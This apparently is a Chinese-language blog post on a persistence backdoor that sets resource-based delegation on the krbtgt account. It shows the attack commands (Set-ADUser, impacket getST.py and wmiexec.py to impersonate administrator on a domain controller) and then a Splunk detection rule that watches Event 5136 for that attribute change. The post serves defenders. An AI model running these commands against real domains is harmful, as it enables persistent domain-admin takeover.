01、简介

 攻击者在获取到域控权限后,可以利用基于资源的约束委派实现后门,通过对krbtgt用户设置委派属性,以实现达到维持权限的目的。基于AD Event日志监测msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改,从而发现可疑的基于资源的约束委派攻击。

02、利用方式

 (1)设置属性值并查询

Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount test
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

基于AD Event日志监测基于资源的约束委派攻击_网络

(2)获取ST,并使用wmiexec登录域控

python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136

基于AD Event日志监测基于资源的约束委派攻击_ci_02

03、检测方法

攻击手法的核心点在于攻击者需要修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,因此我们只需要检测对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改,可以通过5136日志来监控。

5136事件:每次修改 Active Directory 对象时,都会生成此事件,包含帐户名称、目录服务对象名称、属性和操作类型。

基于AD Event日志监测基于资源的约束委派攻击_目录服务_03

 安全规则:

index=ad EventCode=5136  "LDAP 显示名称"="msDS-AllowedToActOnBehalfOfOtherIdentity"
| rename 类型 as type | eval type=mvindex(type,1)
| stats min(_time) as start_time max(_time) as end_time count by ComputerName user DN type
| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,服务器:"+ComputerName +"疑似遭基于资源的约束委派攻击"+count+"次,操作账号:"+user+" 操作对象:"+DN+" 操作类型:"+type
| table start_time end_time user message

效果如下:

基于AD Event日志监测基于资源的约束委派攻击_python_04